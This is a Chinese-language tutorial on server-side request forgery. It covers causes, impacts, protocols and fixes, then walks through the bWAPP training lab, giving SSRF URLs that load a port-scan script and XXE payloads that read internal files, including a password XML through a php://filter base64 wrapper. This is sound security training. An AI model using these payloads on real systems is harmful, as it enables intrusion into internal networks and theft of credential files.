什么是ssrf?
ssrf(服务器端请求伪造)是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞。一般情况下,ssrf是针对目标网站的内部系统。(因为他是从内部系统访问的,所以可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)。
漏洞成因:
ssrf形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
如:http://www.xx.com/a.php?image=http://192.168.0.109/xx.png
漏洞利用
内外网的端口和服务扫描
主机本地敏感数据的读取
内外网主机应用程序漏洞的利用
内外网web站点漏洞的利用
漏洞危害
探测内网服务及内网拓扑
向内部任意主机的任意端口发送精心构造的Payload
DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
攻击内网的web应用,如xss,sql注入等
利用file、dict、gopher等协议读取本地文件等
SSRF常用协议
file协议可用于查看文件
dict协议可用于刺探端口
gopher协议支持GET/POST等请求,可用于攻击内网ftp、redis、telnet、smtp等服务
SSRF漏洞修补
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
- 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
- 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
- 禁用不需要的协议。仅仅允许http和https请求。可以防止类似file:///,gopher://,ftp:// 等引起的问题。
漏洞技巧
分享:通过URL地址分享网页内容
转码服务
在线翻译
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的API实现以及其他调用URL的功能
从URL关键字中寻找
备注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞
SSRF实战
BWAPP(buggy web Application)是一个集成了常见漏洞的 web 应用程序,目的是作为漏洞测试的演练场(靶机),为 web 安全爱好者和开发人员提供一个测试平台,与 WEBGOAT、DVWA 类似。
BWAPP平台特点
开源的php应用
后台Mysql数据库
可运行在Linux/Windows Apache/IIS
支持WAMP或者XAMPP
BWAPP平台搭建
将源码放置在PHPstudy下面:
修改config.inc.php文件中的数据库连接信息,只修改数据库的用户名和密码就好
在本机地址:http://localhost/bwapp/install.php
点击下面的here进行安装
安装完成后选择login模块进行安装,默认密码bee/bug
项目下载地址:https://sourceforge.net/projects/bwapp/
任务一分析
http://localhost/evil/ssrf-1.txt //端口扫描脚本
http://localhost/bwapp/rlfi.php //关卡入口
http://localhost/bwapp/rlfi.php?language=lang_en.php&action=go //语言选择
http://localhost/bwapp/rlfi.php?language=http://192.168.1.46/bwapp/evil/ssrf-1.txt&action=go//构造SSRF攻击
任务二分析
先点击任务2中的Access得到XXE的利用脚本http://127.0.0.1/BWAPP/evil/ssrf-2.txt。然后访问XML External Entity Attacks (XXE)演练环境http://xxx.xxx.xxx/bWAPP/xxe-1.php使用burpSuite抓包并发送到repeater中进行测试。
案例代码:
# Accesses a file on the internal network
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset> # Accesses a file on the internal network # Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page! <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
抓包实验
使用http协议获取/bWAPP/robots.txt的内容,然后尝试读取本地的a.txt
使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据
使用file协议获取bWAPP本机的a.txt的内容